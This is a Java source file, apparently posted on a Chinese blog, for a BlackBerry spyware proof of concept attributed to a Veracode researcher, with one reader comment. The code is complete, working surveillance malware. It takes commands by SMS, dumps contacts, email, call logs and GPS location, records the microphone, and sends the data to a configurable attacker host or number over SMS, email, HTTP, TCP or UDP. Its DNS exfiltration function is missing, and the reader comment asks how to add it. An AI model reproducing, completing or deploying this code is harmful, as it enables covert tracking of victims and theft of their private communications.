//这段代码能查看用户的通话记录、收到的短信，利用GPS（全球定位系统）实时跟踪用户的位置、开启手机上的麦克风监听用户通话内容。谢尔兹在接受采访时说，"利用厂商的API（应用编程接口）编写这类恶意代码很简单
// This source code is the property of its author and must not be compiled, distributed, or used in any way
// You may NOT use this source code in any program you author, nor may you execute a compiled version of this code.
//
// Please contact the author at tshields@veracode.com for any further information regarding this source code.
import java.io.*;
import java.util.*;
import net.rim.device.api.io.Base64OutputStream;
import net.rim.device.api.system.Application;
import net.rim.device.api.system.EventInjector;
import net.rim.device.api.system.KeypadListener;
import net.rim.device.api.system.EventInjector.KeyCodeEvent;
import net.rim.device.api.ui.*;
import net.rim.blackberry.api.pdap.*;
import net.rim.blackberry.api.phone.Phone;
import net.rim.blackberry.api.phone.PhoneCall;
import net.rim.blackberry.api.phone.PhoneListener;
import net.rim.blackberry.api.phone.phonelogs.CallLog;
import net.rim.blackberry.api.phone.phonelogs.PhoneLogs;
import net.rim.blackberry.api.sms.SMS;
import net.rim.blackberry.api.sms.SendListener;
import net.rim.blackberry.api.mail.*;
import javax.microedition.io.ConnectionNotFoundException;
import javax.microedition.io.Connector;
import javax.microedition.io.Datagram;
import javax.microedition.io.DatagramConnection;
import javax.microedition.io.HttpConnection;
import javax.microedition.io.StreamConnection;
import javax.microedition.location.Location;
import javax.microedition.location.LocationException;
import javax.microedition.location.LocationListener;
import javax.microedition.location.LocationProvider;
import javax.microedition.location.QualifiedCoordinates;
import javax.microedition.media.*;
import javax.microedition.media.Manager;
import javax.microedition.media.control.RecordControl;
import javax.microedition.media.control.VideoControl;
import javax.microedition.pim.*;
import javax.wireless.messaging.BinaryMessage;
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.MessageListener;
import javax.wireless.messaging.TextMessage;
public class txsBBSpy extends Application
{
private int method; // Holds exfiltration method
private String port; // Holds the target port for exfiltration
private String ip; // Holds the target ip address for exfiltration
private String pnum; // Holds the target sms phone number
private String em; // Holds the target email address
private String url; // Holds the target URL for web exfiltration
private String domain; // Holds the domain target for DNS exfiltration
private int gtime = 10; // GPS loc counter
private int mtime = 5000; // Recording time for the mic recorder
SMSINListener insms;
PhoneLogger pl;
SMSOUTListener sl;
PimLis piml;
LocListener ll;
LocationProvider lp = null;
private int slin = 0; // 0 for off, 1 for on (sms inbound listener)
public static void main(String[] args)
{
txsBBSpy exfil = new txsBBSpy();
exfil.initCandC(1); // Setup the command and control inbound SMS listener
return;
}
private void processCommand(String cmd)
{
PIM pim = null;
BlackBerryPIMList contacts = null;
int c = 0;
if (cmd.equals((String)"TXSDIE")) c = 1; // KILL THE SPYWARE
if (cmd.equals((String)"TXSPHLON")) c = 2; // Enable Phone Listener
if (cmd.equals((String)"TXSPHLOFF")) c = 3; // Disable Phone Listener
if (cmd.equals((String)"TXSPIMON")) c = 4; // Enable PIM Listener
if (cmd.equals((String)"TXSPIMOFF")) c = 5; // Disable PIM Listener
if (cmd.equals((String)"TXSSLINON")) c = 6; // Enable SMS In Listener
if (cmd.equals((String)"TXSSLINOFF")) c = 7; // Disable SMS In Listener
if (cmd.equals((String)"TXSSLOUTON")) c = 8; // Enable SMS Out Listener
if (cmd.equals((String)"TXSSLOUTOFF")) c = 9; // Disable SMS Out Listener
if (cmd.equals((String)"TXSGLON")) c = 10; // Enable GPS Listener
if (cmd.equals((String)"TXSGLOFF")) c = 11; // Disable GPS Listener
if (cmd.equals((String)"TXSEXFILSMS")) c = 21; // Set exfiltration method to SMS
if (cmd.equals((String)"TXSEXFILSMSDG")) c = 22; // Set exfiltration method to SMS Datagram
if (cmd.equals((String)"TXSEXFILEMAIL")) c = 23; // Set exfiltration method to email
if (cmd.equals((String)"TXSEXFILGET")) c = 24; // Set exfiltration method to HTTP GET
if (cmd.equals((String)"TXSEXFILPOST")) c = 25; // Set exfiltration method to HTTP POST
if (cmd.equals((String)"TXSEXFILTCP")) c = 26; // Set exfiltration method to TCP Socket
if (cmd.equals((String)"TXSEXFILUDP")) c = 27; // Set exfiltration method to UDP Socket
if (cmd.equals((String)"TXSDUMPCON")) c = 31; // Dump all contacts
if (cmd.equals((String)"TXSDUMPGPS")) c = 32; // Dump current GPS
if (cmd.equals((String)"TXSDUMPPL")) c = 33; // Dump all phone logs
if (cmd.equals((String)"TXSDUMPEMAIL")) c = 34; // Dump all email
if (cmd.equals((String)"TXSDUMPMIC")) c = 36; // Dump current mic grab
if (cmd.startsWith((String)"TXSIP:")) c = 41; // Change the target IP for UDP and TCP transmissions
if (cmd.startsWith((String)"TXSEM:")) c = 42; // Change the target email address for email exfil
if (cmd.startsWith((String)"TXSPORT:")) c = 43; // Change the default target port
if (cmd.startsWith((String)"TXSPHONE:")) c = 44; // Change the target SMS phone number
if (cmd.startsWith((String)"TXSURL:")) c = 45; // Change the target URL for HTTP GET/POST
if (cmd.startsWith((String)"TXSHOST:")) c = 46; // Change the target HOST for DNS exfil
if (cmd.startsWith((String)"TXSGTIME:")) c = 47; // Change the update time for GPS tracking
if (cmd.startsWith((String)"TXSMTIME:")) c = 48; // Change the length of the microphone record time
if (cmd.equals((String)"TXSPING")) c = 99; // Respond w/pong
switch(c)
{
case 1: // TXSDIE
this.initCandC(0); // Disable the C&C listener and kill all threads (DIE)
break;
case 2: // TXSPHLON
pl = new PhoneLogger();
Phone.addPhoneListener(pl);
break;
case 3: // TXSPHLOFF
Phone.removePhoneListener(pl);
break;
case 4: // TXSPIMON
piml = new PimLis();
try {
pim = PIM.getInstance();
contacts = (BlackBerryPIMList) pim.openPIMList(PIM.CONTACT_LIST, PIM.READ_ONLY);
contacts.addListener(piml);
} catch (PIMException e) {
e.printStackTrace();
}
break;
case 5: // TXSPIMOFF
if (contacts != null) contacts.removeListener(piml);
break;
case 6: // TXSSLINON
this.slin = 1;
break;
case 7: // TXSSLINOFF
this.slin = 0;
break;
case 8: // TXSSLOUTON
sl = new SMSOUTListener();
SMS.addSendListener(sl);
break;
case 9: // TXSSLOUTOFF
SMS.removeSendListener(sl);
break;
case 10: // TXSGLON
ll = new LocListener();
try {
lp = LocationProvider.getInstance(null);
lp.setLocationListener(ll, 1, 1, 1);
} catch (LocationException e) {
e.printStackTrace();
}
break;
case 11: // TXSGLOFF
if (lp != null) lp.setLocationListener(null, 1, 1, 1);
break;
case 21: // EXFIL VIA SMS
this.method = 1;
break;
case 22: // EXFIL VIA SMS DATAGRAM
this.method = 2;
break;
case 23: // EXFIL VIA EMAIL
this.method = 3;
break;
case 24: // EXFIL VIA GET
this.method = 4;
break;
case 25: // EXFIL VIA POST
this.method = 5;
break;
case 26: // EXFIL VIA UDP
this.method = 6;
break;
case 27: // EXFIL VIA TCP
this.method = 7;
break;
case 28: // EXFIL VIS DNS
this.method = 8;
break;
case 31: // TXSDUMPCON
contacts();
break;
case 32: // TXSDUMPGPS
GPS();
break;
case 33: // TXSDUMPPL
phoneLogs();
break;
case 34: // TXSDUMPEMAIL
email();
break;
case 36: // TXSDUMPMIC
microphone();
break;
case 41: // TXSIP:
this.ip = cmd.substring(6);
break;
case 42: // TXSEM:
this.em = cmd.substring(6);
break;
case 43: // TXSPORT:
this.port = cmd.substring(8);
break;
case 44: // TXSPHONE:
this.pnum = cmd.substring(9);
break;
case 45: // TXSURL:
this.url = cmd.substring(7);
break;
case 46: // TXSHOST:
this.domain = cmd.substring(8);
break;
case 47: // TXSGTIME:
try {
this.gtime = Integer.parseInt(cmd.substring(9));
if (this.gtime > 600) this.gtime = 600;
} catch (NumberFormatException e) {
this.gtime = 10;
}
break;
case 48: // TXSMTIME:
try {
this.mtime = Integer.parseInt(cmd.substring(9));
this.mtime = this.mtime * 1000;
if (this.mtime > 30000) this.mtime = 30000;
}catch (NumberFormatException e) {
this.mtime = 5000;
}
case 99: // TXSPING
exfiltrate("PONG");
break;
default:
break;
}
return;
}
private void initCandC(int a)
{
MessageConnection smsconn;
if (a == 1)
{
try {
smsconn = (MessageConnection)Connector.open("sms://:0");
insms = new SMSINListener((MessageConnection)smsconn);
new Thread(insms).start();
smsconn.setMessageListener(insms);
return;
} catch (IOException e) {
e.printStackTrace();
}
} else {
System.exit(0);
}
}
private void microphone()
{
RecordControl rc;
try {
Player p = Manager.createPlayer("capture://audio"); // Player p set to capture audio here
p.realize();
rc = (RecordControl)p.getControl("RecordControl");
ByteArrayOutputStream os = new ByteArrayOutputStream();
rc.setRecordStream(os);
rc.startRecord();
p.start();
Thread.sleep(this.mtime);
rc.commit();
if (p != null) {
p.stop();
p.close();
p = null;
}
byte[] b = os.toByteArray();
exfiltrate(Base64OutputStream.encodeAsString(b, 0, b.length, false, false));
} catch (IOException e) {
e.printStackTrace();
} catch (MediaException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e. printStackTrace();
}
return;
}
private void contacts()
{
PIM pim = PIM.getInstance();
BlackBerryPIMList contacts = null;
Enumeration eContacts = null;
try {
contacts = (BlackBerryPIMList) pim.openPIMList(PIM.CONTACT_LIST, PIM.READ_ONLY);
} catch (PIMException e) {
e.printStackTrace();
}
try {
eContacts = contacts.items();
} catch (PIMException e) {
e.printStackTrace();
}
do {
String email = "none";
String addr = "none";
String zip = "none";
String phone = "none";
String first = "none";
String last = "none";
String name[] = {""};
// Fields may or may not be used based on the model of device
// We just exfiltrate a sample set of them for POC here
Contact contact = (Contact) eContacts.nextElement();
if (contacts.isSupportedField(Contact.NAME)) {
if (contact.countValues(Contact.NAME) > 0) name = contact.getStringArray(Contact.NAME, 0);
if (name[Contact.NAME_GIVEN] != null) first = name[Contact.NAME_GIVEN];
if (name[Contact.NAME_FAMILY] != null) last = name[Contact.NAME_FAMILY];
}
if (contacts.isSupportedField(Contact.EMAIL)) {
if (contact.countValues(Contact.EMAIL) > 0) email = contact.getString(Contact.EMAIL, 0);
}
if (contacts.isSupportedField(Contact.ADDR_STREET)) {
if (contact.countValues(Contact.ADDR_STREET) > 0) addr = contact.getString(Contact.ADDR_STREET, 0);
}
if (contacts.isSupportedField(Contact.ADDR_POSTALCODE)) {
if (contact.countValues(Contact.ADDR_POSTALCODE) > 0) zip = contact.getString(Contact.ADDR_POSTALCODE, 0);
}
if (contacts.isSupportedField(Contact.TEL)) {
if (contact.countValues(Contact.TEL) > 0) phone = contact.getString(Contact.TEL, 0);
}
exfiltrate(first+"|"+last+"|"+phone+"|"+zip+"|"+addr+"|"+email);
} while (eContacts.hasMoreElements());
return;
}
private void email()
{
Session defaultSession = Session.getDefaultInstance();
if (defaultSession != null) {
Store st = defaultSession.getStore(); // We only exfiltrate the default mailbox inbox only for POC
Folder[] flist = st.list();
for (int i = 0; i < flist.length; i++) {
Message[] msgs;
try {
msgs = flist[i].getMessages();
for (int n=0; n < msgs.length; n++) {
Address from = msgs[n].getFrom();
if (from != null) {
exfiltrate("Message "+n+"|"+from.getAddr()+"|"+msgs[n].getSubject()+"|"+msgs[n].getBodyText());
}
else {
exfiltrate("Message "+n+"|"+msgs[n].getSubject()+"|"+msgs[n].getBodyText());
}
}
} catch (MessagingException e) {
e.printStackTrace();
}
}
}
return;
}
private void phoneLogs()
{
PhoneLogs pl = PhoneLogs.getInstance();
int nc = pl.numberOfCalls(PhoneLogs.FOLDER_NORMAL_CALLS);
for (int i = 0; i < nc; i++) {
CallLog cl = pl.callAt(i, PhoneLogs.FOLDER_NORMAL_CALLS);
Date d = cl.getDate();
int dur = cl.getDuration();
String notes = cl.getNotes();
exfiltrate("Call #"+i+"|"+d.toString()+"|"+dur+" seconds|"+notes);
}
return;
}
private void GPS()
{
Location loc = null;
float speed = 0;
float course = 0;
LocationProvider lp;
try {
lp = LocationProvider.getInstance(null);
if (lp == null) {
exfiltrate("GPS Not Supported on Device");
return;
}
loc = lp.getLocation(1);
if (loc == null) {
exfiltrate("Error in getLocation");
return;
}
speed = loc.getSpeed();
if (speed >= 0) {
course = loc.getCourse();
if (course >= 0) {
QualifiedCoordinates qc = loc.getQualifiedCoordinates();
if (qc == null) {
ThreadedSend ts = new ThreadedSend("Invalid GPS Coordinates Returned ERR");
ts.start();
return;
}
exfiltrate("GPS Data: "+speed+"|"+qc.getLatitude()+"|"+qc.getLongitude()+"|"+course);
} else return;
} else return;
} catch (LocationException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
return;
}
private void exfilSMS(String msg)
{
MessageConnection conn;
try {
conn = (MessageConnection) Connector.open("sms://" + this.pnum + ":3590");
TextMessage msgOut = (TextMessage) conn.newMessage(MessageConnection.TEXT_MESSAGE);
msgOut.setPayloadText(msg);
conn.send(msgOut);
conn.close();
} catch (IOException e) {
e.printStackTrace();
}
return;
}
private void exfilSMS_dg(String msg)
{
try {
DatagramConnection dc = (DatagramConnection)Connector.open("sms://"+this.pnum+":3590");
Datagram d;
d = dc.newDatagram(dc.getMaximumLength());
byte[] buf = msg.getBytes();
d.setData(buf, 0, buf.length);
d.write(buf, 0, buf.length);
dc.send(d);
dc.close();
} catch (IOException e) {
e.printStackTrace();
}
return;
}
private void exfilEmail(String msg)
{
Session defaultSession = Session.getDefaultInstance();
if (defaultSession != null) {
Store st = defaultSession.getStore();
Folder[] flist = st.list(Folder.SENT);
Folder sentfolder = flist[0];
Message m = new Message(sentfolder);
Address recip[] = new Address[1];
try {
String tmp = this.em.replace('*', '@');
recip[0] = new Address(tmp, "TXS");
m.addRecipients(Message.RecipientType.TO, recip);
m.setSubject("Urgent message");
m.setContent(msg);
m.setPriority(Message.Priority.NORMAL);
Transport.send(m);
}
catch (Exception e)
{
e.printStackTrace();
}
}
return;
}
private void exfilHTTP_GET(String msg)
{
HttpConnection c = null;
int rc;
try {
c = (HttpConnection)Connector.open("http://"+this.url+"/"+msg);
rc = c.getResponseCode();
if (rc != HttpConnection.HTTP_OK) {
}
} catch (ClassCastException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} finally {
if (c != null)
try {
c.close();
} catch (IOException e) {
e.printStackTrace();
}
}
return;
}
private void exfilHTTP_POST(String msg)
{
HttpConnection c = null;
OutputStream os = null;
try {
c = (HttpConnection)Connector.open("http://"+this.url+"/");
c.setRequestMethod(HttpConnection.POST);
c.setRequestProperty("User-Agent", "BBSpyware|"+msg);
c.setRequestProperty("Content-Language", "en-US");
os = c.openOutputStream();
msg.concat("\n");
os.write(msg.getBytes());
os.flush();
c.getResponseCode();
} catch (ClassCastException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
if (c != null) c.close();
if (os != null) os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
return;
}
private void exfilTCP(String msg)
{
OutputStreamWriter out;
StreamConnection conn;
try {
String URL = "socket://"+this.ip+":"+this.port+";deviceside=true";
conn = (StreamConnection)Connector.open(URL);
out = new OutputStreamWriter(conn.openOutputStream());
int length = msg.length();
out.write(msg, 0, length);
out.close();
conn.close();
} catch (IOException e) {
e.printStackTrace();
}
return;
}
private void exfilUDP(String msg)
{
DatagramConnection conn;
byte[] buf = new byte[1024];
try {
conn = (DatagramConnection)Connector.open("udp://"+this.ip+":"+this.port+";4444");
Datagram out = conn.newDatagram(buf, buf.length);
buf = msg.getBytes();
out.setData(buf, 0, buf.length);
conn.send(out);
conn.close();
} catch (IOException e) {
e.printStackTrace();
}
return;
}
private void exfiltrate(String msg)
{
if (msg.startsWith("TXS_") != true) // Make sure that we haven't already exfiltrated this message
{
msg = "TXS_"+msg; // Prepend our send marker
switch (this.method)
{
case 1: exfilSMS(msg); break;
case 2: exfilSMS_dg(msg); break;
case 3: exfilEmail(msg); break;
case 4: exfilHTTP_GET(msg); break;
case 5: exfilHTTP_POST(msg); break;
case 6: exfilTCP(msg); break;
case 7: exfilUDP(msg); break;
case 8: exfilDNS(msg); break;
}
}
return;
}
private class SMSINListener implements MessageListener, Runnable
{
private int messages;
private MessageConnection conn;
public SMSINListener(MessageConnection conn)
{
messages = 0;
this.conn = conn;
}
public void run()
{
while(true)
{
while (messages > 0)
{
try {
javax.wireless.messaging.Message m = conn.receive();
String msg = null;
if (m instanceof TextMessage)
{
TextMessage tm = (TextMessage)m;
msg = tm.getPayloadText();
if (slin == 1) {
ThreadedSend ts = new ThreadedSend("INBOUND:"+m.getAddress()+"|"+((TextMessage)m).getPayloadText());
ts.start();
}
processCommand(msg);
} else if ( m instanceof BinaryMessage) {
byte[] data = ((BinaryMessage) m).getPayloadData();
msg = new String(data, "UTF-8");
}
} catch (IOException e) {
e.printStackTrace();
}
messages--;
}
synchronized(this)
{
try {
wait();
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
public synchronized void notifyIncomingMessage(MessageConnection conn)
{
messages++;
notifyAll();
}
}
private class SMSOUTListener implements SendListener
{
public boolean sendMessage(javax.wireless.messaging.Message message)
{
if (message instanceof TextMessage)
{
ThreadedSend ts = new ThreadedSend("OUTBOUND:"+message.getAddress()+"|"+((TextMessage)message).getPayloadText());
ts.start();
} else
{
ThreadedSend ts = new ThreadedSend(message.getAddress()+"|"+"MultiPart Payload Ignored");
ts.start();
}
return true;
}
}
private class PhoneLogger implements PhoneListener
{
public void callAdded(int arg0) {
}
public void callAnswered(int callId) {
}
public void callConferenceCallEstablished(int callId) {
}
public void callConnected(int callId) {
PhoneCall call = Phone.getCall(callId);
ThreadedSend ts = new ThreadedSend("Call started|"+callId+"|"+call.getPhoneNumber()+"|"+call.getDisplayPhoneNumber());
ts.start();
}
public void callDirectConnectConnected(int callId) {
}
public void callDirectConnectDisconnected(int callId) {
}
public void callDisconnected(int callId) {
ThreadedSend ts = new ThreadedSend("Call ended|"+callId);
ts.start();
}
public void callEndedByUser(int callId) {
}
public void callFailed(int callId, int reason) {
}
public void callHeld(int callId) {
}
public void callIncoming(int callId) {
}
public void callInitiated(int callId) {
}
public void callRemoved(int callId) {
}
public void callResumed(int callId) {
}
public void callWaiting(int callid) {
}
public void conferenceCallDisconnected(int callId) {
}
}
private class PimLis implements PIMListListener
{
public void itemAdded(PIMItem arg0) {
String email = "none";
String addr = "none";
String zip = "none";
String phone = "none";
String first = "none";
String last = "none";
String name[] = {""};
PIMList contacts = arg0.getPIMList();
Contact contact = (Contact)arg0;
if (contacts.isSupportedField(Contact.NAME)) {
if (contact.countValues(Contact.NAME) > 0) name = contact.getStringArray(Contact.NAME, 0);
if (name[Contact.NAME_GIVEN] != null) first = name[Contact.NAME_GIVEN];
if (name[Contact.NAME_FAMILY] != null) last = name[Contact.NAME_FAMILY];
}
if (contacts.isSupportedField(Contact.EMAIL)) {
if (contact.countValues(Contact.EMAIL) > 0) email = contact.getString(Contact.EMAIL, 0);
}
if (contacts.isSupportedField(Contact.ADDR_STREET)) {
if (contact.countValues(Contact.ADDR_STREET) > 0) addr = contact.getString(Contact.ADDR_STREET, 0);
}
if (contacts.isSupportedField(Contact.ADDR_POSTALCODE)) {
if (contact.countValues(Contact.ADDR_POSTALCODE) > 0) zip = contact.getString(Contact.ADDR_POSTALCODE, 0);
}
if (contacts.isSupportedField(Contact.TEL)) {
if (contact.countValues(Contact.TEL) > 0) phone = contact.getString(Contact.TEL, 0);
}
ThreadedSend ts = new ThreadedSend("ItemAdded|"+first+"|"+last+"|"+phone+"|"+zip+"|"+addr+"|"+email);
ts.start();
return;
}
public void itemRemoved(PIMItem arg0) {
String email = "none";
String addr = "none";
String zip = "none";
String phone = "none";
String first = "none";
String last = "none";
String name[] = {""};
PIMList contacts = arg0.getPIMList();
Contact contact = (Contact)arg0;
if (contacts.isSupportedField(Contact.NAME)) {
if (contact.countValues(Contact.NAME) > 0) name = contact.getStringArray(Contact.NAME, 0);
if (name[Contact.NAME_GIVEN] != null) first = name[Contact.NAME_GIVEN];
if (name[Contact.NAME_FAMILY] != null) last = name[Contact.NAME_FAMILY];
}
if (contacts.isSupportedField(Contact.EMAIL)) {
if (contact.countValues(Contact.EMAIL) > 0) email = contact.getString(Contact.EMAIL, 0);
}
if (contacts.isSupportedField(Contact.ADDR_STREET)) {
if (contact.countValues(Contact.ADDR_STREET) > 0) addr = contact.getString(Contact.ADDR_STREET, 0);
}
if (contacts.isSupportedField(Contact.ADDR_POSTALCODE)) {
if (contact.countValues(Contact.ADDR_POSTALCODE) > 0) zip = contact.getString(Contact.ADDR_POSTALCODE, 0);
}
if (contacts.isSupportedField(Contact.TEL)) {
if (contact.countValues(Contact.TEL) > 0) phone = contact.getString(Contact.TEL, 0);
}
ThreadedSend ts = new ThreadedSend("ItemRemoved|"+first+"|"+last+"|"+phone+"|"+zip+"|"+addr+"|"+email);
ts.start();
return;
}
public void itemUpdated(PIMItem arg0, PIMItem arg1) {
String email = "none";
String addr = "none";
String zip = "none";
String phone = "none";
String first = "none";
String last = "none";
String name[] = {""};
PIMList contacts = arg1.getPIMList();
Contact contact = (Contact)arg1;
if (contacts.isSupportedField(Contact.NAME)) {
if (contact.countValues(Contact.NAME) > 0) name = contact.getStringArray(Contact.NAME, 0);
if (name[Contact.NAME_GIVEN] != null) first = name[Contact.NAME_GIVEN];
if (name[Contact.NAME_FAMILY] != null) last = name[Contact.NAME_FAMILY];
}
if (contacts.isSupportedField(Contact.EMAIL)) {
if (contact.countValues(Contact.EMAIL) > 0) email = contact.getString(Contact.EMAIL, 0);
}
if (contacts.isSupportedField(Contact.ADDR_STREET)) {
if (contact.countValues(Contact.ADDR_STREET) > 0) addr = contact.getString(Contact.ADDR_STREET, 0);
}
if (contacts.isSupportedField(Contact.ADDR_POSTALCODE)) {
if (contact.countValues(Contact.ADDR_POSTALCODE) > 0) zip = contact.getString(Contact.ADDR_POSTALCODE, 0);
}
if (contacts.isSupportedField(Contact.TEL)) {
if (contact.countValues(Contact.TEL) > 0) phone = contact.getString(Contact.TEL, 0);
}
ThreadedSend ts = new ThreadedSend("ItemUpdated|"+first+"|"+last+"|"+phone+"|"+zip+"|"+addr+"|"+email);
ts.start();
return;
}
}
private class LocListener implements LocationListener
{
int count = 0;
public void locationUpdated(LocationProvider provider, Location location) {
float speed = 0;
float course = 0;
if (count > txsBBSpy.this.gtime) {
count = 0;
}
count++;
if (count == 1) {
speed = location.getSpeed();
if (speed >= 0 ) {
course = location.getCourse();
if (course >= 0) {
QualifiedCoordinates qc = location.getQualifiedCoordinates();
if (qc == null) {
ThreadedSend ts = new ThreadedSend("Invalid GPS Coordinates Returned ERR");
ts.start();
return;
}
ThreadedSend ts = new ThreadedSend("GPS Data UPDATED|"+speed+"|"+qc.getLatitude()+"|"+qc.getLongitude()+"|"+course+"|"+count);
ts.start();
} else return;
} else return;
}
}
public void providerStateChanged(LocationProvider provider, int newState) {
}
}
private class ThreadedSend extends Thread
{
String msg;
ThreadedSend(String msg) {
this.msg = msg;
}
public void run()
{
exfiltrate(msg);
}
}
}
1 条评论:
请问缺少的exfilDNS函数该如何添加？
发表评论